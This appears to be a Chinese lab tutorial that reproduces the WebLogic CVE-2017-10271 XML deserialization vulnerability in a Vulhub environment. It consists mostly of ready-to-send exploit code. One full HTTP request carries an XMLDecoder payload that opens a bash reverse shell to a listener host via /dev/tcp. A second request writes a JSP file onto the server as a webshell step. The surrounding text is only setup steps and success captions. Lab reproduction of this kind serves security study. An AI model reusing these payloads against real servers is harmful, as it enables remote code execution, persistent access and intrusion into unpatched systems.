Weblogic+XML反序列化漏洞检测工具 提取码:03k0
一、Vulhub靶场搭建
二、漏洞利用
2.1 、运行漏洞环境
#进入漏洞环境所在路径
cd vulhub/weblogic/CVE-2017-10271
#运行漏洞环境
docker-compose build && docker-compose up -d
访问192.168.1.100:7001,如出现404页面即说明环境运行成功
环境搭建成功2.2、反弹shell
- 在接收端开启NC端口监听,linux
nc -l -p 2233
,windowsnc -lvp 2233
- 访问192.168.1.100:7001抓包修改请求如下,其中
192.168.1.100
为靶机ip,192.168.1.88/2233
为接收反弹shell的IP和端口,端口自定义
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.100:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.1.88/2233 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
发送攻击脚本
成功获取shell
2.3、写入webshell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.100:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
上传poc
写入成功
网友评论